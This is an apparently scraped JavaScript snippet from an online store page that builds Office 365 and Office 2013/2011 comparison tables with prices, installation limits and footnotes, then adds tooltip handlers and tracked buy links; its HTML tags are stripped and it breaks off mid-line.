    ',\n\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t'

    Office 365
    Home

    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t'
    Buy now
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t'

    Office 365
    Personal

    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t'
    Buy now
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\t \n\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t'

    Office Home &
    Student 2013

    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t'
    Buy now
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t'

    Office for Mac
    Home & Student 2011

    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t'
    Buy now
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    Price',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    $99.99 per year',\n\t\t\t\t\t\t\t\t\t'
    $9.99 per month
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    $69.99 per year',\n\t\t\t\t\t\t\t\t\t'
    $6.99 per month
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    $139.99',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    $139.99',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    Installations1',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    5 PCs or Macs',\n\t\t\t\t\t\t\t\t\t'
    5 tablets, 5 phones',\n\t\t\t\t\t\t\t\t'
    \t',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    1 PC or Mac',\n\t\t\t\t\t\t\t\t\t'
    1 tablet, 1 phone',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    1 PC only
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    1 Mac only
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    Works on Mac
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n '
    ',\n '
    ',\n '
    ',\n '

    Capture notes, pictures, web pages, media, and more all in one place.

    ',\n '
    ',\n '
    ',\n '
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n '
    ',\n '
    ',\n '

    Organize email, coordinate schedules, and stay up to date with contacts easily and quickly.

    ',\n '
    ',\n '
    ',\n '
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    2',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n '
    ',\n '
    ',\n '

    Create your own custom database apps fast, and harness the power of your data.

    ',\n '
    ',\n '
    ',\n '
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    2',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n '
    ',\n '
    ',\n '

    ',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'Print and share professional-looking publications with powerful, easy-to-use tools.',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'

    ',\n '
    ',\n '
    ',\n '
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    1TB Cloud Storage
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    Skype minutes3
    ',\n\t\t\t\t\t\t\t'
    60 minutes
    per month
    60 minutes
    per month
    ',\n\t\t\t\t\t\t\t\t'
    Always up-to-date',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n '
    ',\n '
    ',\n '

    You\\'ll always have the latest features and services\u2014you\\'ll never be stuck with an outdated version.

    ',\n '
    ',\n '
    ',\n '
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    Tech Support',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n '
    ',\n '
    ',\n '

    Get help right away by phone or chat at no extra charge.

    ',\n '
    ',\n '
    ',\n '
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    '].join('\\n');\n\n$('section.office-compare').append(homeTable);\n\n\n\n/* Business */\nvar businessTable = ['',\n\t\t\t\t\t'',\n '',\n '',\n '',\n\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n '',\n '',\n '',\n '',\n '',\n\t\t\t\t\t\t'',\n\t\t\t\t\t'',\n\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t' ',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t'',\n\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t'

    Office
    Professional 2013

    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t'
    Buy now
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t'

    Office for Mac
    Home & Business 2011

    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t'
    Buy now
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t'

    Office Home &
    Business 2013

    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t'
    Buy now
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    Price',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    $399.99
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    $219.99
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    $219.99
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    Installations1',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    1 PC only',\n\t\t\t\t\t\t\t\t'
    \t',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    1 Mac only',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    1 PC only
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    Works on Mac
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t '
    ',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t '

    Capture notes, pictures, web pages, media, and more all in one place.

    ',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t '
    ',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t '
    ',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t '

    Organize email, coordinate schedules, and stay up to date with contacts easily and quickly.

    ',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t '
    ',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    2',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t '
    ',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t '

    Create your own custom database apps fast, and harness the power of your data.

    ',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t '
    ',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    2',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t '
    ',\n\t\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t\t '

    ',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'Print and share professional-looking publications with powerful, easy-to-use tools.',\n\t\t\t\t\t\t\t\t\t\t\t'

    ',\n\t\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t '
    ',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    1TB Cloud Storage
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    Skype minutes3
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    Always up-to-date',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n '
    ',\n '
    ',\n '

    You\\'ll always have the latest features and services\u2014you\\'ll never be stuck with an outdated version.

    ',\n '
    ',\n '
    ',\n '
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    Tech Support',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n '
    ',\n '
    ',\n '

    Get help right away by phone or chat at no extra charge.

    ',\n '
    ',\n '
    ',\n '
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    '].join('\\n');\n\n$('section.office-compare').append(businessTable);\t\t\n\n\n\nvar studentTable = ['',\n\t\t\t\t\t'',\n '',\n '',\n '',\n '',\n\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n '',\n '',\n '',\n '',\n '',\n\t\t\t\t\t\t'',\n\t\t\t\t\t'',\n\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t' ',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t'',\n\t\t\t\t\t'',\n\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t'

    Office 365
    University

    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t'
    Buy now
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t'

    Office 365
    Personal

    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t'
    Buy now
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t'

    Office Home &
    Student 2013

    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t'
    Buy now
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t'

    Office for Mac
    Home & Student 2011

    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t'
    Buy now
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    Price',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    $79.99',\n\t\t\t\t\t\t\t\t\t'
    4-year subscription
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    $69.99 per year',\n\t\t\t\t\t\t\t\t\t'
    $6.99 per month
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    $139.99',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    $139.99',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    Installations1',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    2 PCs, Macs, or tablets,
    2 phones',\n\t\t\t\t\t\t\t\t'
    \t',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    1 PC or Mac',\n\t\t\t\t\t\t\t\t\t'
    1 tablet, 1 phone',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    1 PC only
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    1 Mac only
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    Works on Mac
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t '
    ',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t '

    Capture notes, pictures, web pages, media, and more all in one place.

    ',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t '
    ',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t '
    ',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t '

    Organize email, coordinate schedules, and stay up to date with contacts easily and quickly.

    ',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t '
    ',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    2',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t '
    ',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t '

    Create your own custom database apps fast, and harness the power of your data.

    ',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t '
    ',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    2',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t '
    ',\n\t\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t\t '

    ',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'Print and share professional-looking publications with powerful, easy-to-use tools.',\n\t\t\t\t\t\t\t\t\t\t\t'

    ',\n\t\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t '
    ',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    1TB Cloud Storage
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    Skype minutes3
    ',\n\t\t\t\t\t\t\t'
    60 minutes
    per month
    60 minutes
    per month
    ',\n\t\t\t\t\t\t\t\t'
    Always up-to-date',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n '
    ',\n '
    ',\n '

    You\\'ll always have the latest features and services\u2014you\\'ll never be stuck with an outdated version.

    ',\n '
    ',\n '
    ',\n '
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    Tech Support',\n\t\t\t\t\t\t\t\t\t\t'
    ',\n '
    ',\n '
    ',\n '

    Get help right away by phone or chat at no extra charge.

    ',\n '
    ',\n '
    ',\n '
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    '].join('\\n');\n\n$('section.office-compare').append(studentTable);\n\n/* onclick events */\njQuery('.toggle-wrapper a').on('click', function(){\n\tvar parent = jQuery(this).closest('.toggle-wrapper'),\n\t\tindex = jQuery(this).index();\n\t\n\tjQuery('a', parent).removeClass('active');\n\tjQuery(this).addClass('active');\n\t\n\tjQuery('.exp-comparetable').removeClass('active');\n\tjQuery('.exp-comparetable:eq(' + index + ')').addClass('active');\n});\n\n\n/* Info Icons */\n\t//Custom Tooltips\n\tjQuery('body').on('mouseenter.toggletooltip','.info-icon', function(){\n\t\tvar _this = $(this);\n\t\t\n\t\tjQuery('.custom-tooltip', _this).removeAttr('style');\n\t\t\n //Close any open tooltips\n jQuery('.info-icon').removeClass('selected');\n \n\t\t//Open the current tooltip\n\t\t_this.addClass('selected');\n\t\t\n\t\t//Bind mouse leave event to open tooltip\n\t\tjQuery('.custom-tooltip', this).one('mouseleave.closetooltip', function(){\n\t\t\tjQuery(this).fadeOut(function(){\n\t\t\t\t_this.removeClass('selected');\n\t\t\t\tjQuery(this).removeAttr('style');\n\t\t\t});\n\t\t\t\n\t\t});\n\t});\n\n//Highlight on mouse enter\n/*\njQuery('.exp-comparetable tr td').on('mouseenter.hide', function(){\n var _index = $(this).closest('td').index();\n \n jQuery('.exp-comparetable tr').each(function(){\n\t jQuery('td:eq(' + _index + ')', this).addClass('highlight')\n });\n\n}).on('mouseleave.show', function(){\n jQuery('.exp-comparetable tr td').removeClass('highlight');\n});\n*/\n\n//Highlight odd rows\njQuery('.exp-comparetable:eq(0) tbody tr:even').addClass('odd-row');\n\njQuery('.exp-comparetable:eq(1) tbody tr:even').addClass('odd-row');\n\njQuery('.exp-comparetable:eq(2) tbody tr:even').addClass('odd-row');\n\njQuery('.exp-comparetable td').on('hover', function() {\n var _thisIndex = jQuery(this).index();\n \n jQuery(this).parents('table').find('col:eq('+jQuery(this).index()+')').toggleClass('hover');\n jQuery(this).parents('table').find('tr').each(function(){\n\t\tjQuery('td:eq(' + _thisIndex + ')', this).toggleClass('hover');\n });\n});\n\n\n/* Footnotes */\njQuery('.exp-footnotes').html('');\n\njQuery('.exp-footnotes').append('

    1Office 365 plans (Office 365 Home and Office 365 Personal) are compatible only with Windows 7 or later, and Mac OS X 10.6 or later. Office Home & Student 2013, Office Home & Business 2013, and Office Professional 2013 are compatible only with Windows 7 or later. You can install on Windows tablets running Windows 8 or higher, Android tablets running KitKat 4.4, and on iPads running iOS 7.0 or higher.

    ');\n \njQuery('.exp-footnotes').append('

    2Application availability and features vary by platform and device. Publisher and Access with Office 365 are available on PC only. OneNote for Mac is available as a separate download from the Mac App Store. Current Office application versions for Office 365 are Office 2013 for Windows and Office for Mac 2011. Customers with an active subscription will be entitled to the newest versions when available.

    ');\n\njQuery('.exp-footnotes').append('

    3Skype account required. Excludes special, premium, and non-geographic numbers. Calls to mobiles are for select countries only. Skype minutes available in select countries. See FAQ for details.

    ');"},"2417970685":{"code":"$('body').addClass('exp-sticky-header');\n\n//Content changes\n$('.exp-comparetable .table-head:eq(0)').html('

    For up to 5 PCs or
    Macs and 5 tablets

    Subscription
    ');\n\n$('.exp-comparetable .table-head:eq(1)').html('

    For 1 PC or 1 Mac

    One-time purchase');\n\n$('.exp-comparetable tr.installation').insertBefore('.exp-comparetable tr.apps-included');\n$(\"tbody > tr:eq(7) > td:eq(0) > div:eq(0)\").html(\"Microsoft support
    Get help by phone or chat at no extra charge\");\n\n/* Add ICID tracking to links */\n$(\".exp-buybox > td:eq(0) > a:eq(0)\").attr({\"href\":\"/store/msusa/en_US/pdp/productID.286395000?icid=Compare_Home_V2\"});\n$(\".exp-buybox > td:eq(1) > a:eq(0)\").attr({\"href\":\"/store/msusa/en_US/pdp/productID.297833200?icid=Compare_Personal_V2\"});\n$(\".exp-buybox > td:eq(2) > a:eq(0)\").attr({\"href\":\"/store/msusa/en_US/pdp/productID.259179500?icid=Compare_HS_V2\"});\n$(\".exp-buybox > td:eq(3) > a:eq(0)\").attr({\"href\":\"/store/msusa/en_US/pdp/productID.259321600?icid=Compare_HB_V2\"});\n$(\".exp-buybox > td:eq(4) > a:eq(0)\").attr({\"href\":\"/store/msusa/en_US/pdp/Office-for-Mac-Home-amp-Student-2011/productID.253736200?icid=Compare_MacHS_V2\"});\n$(\".exp-buybox > td:eq(5) > 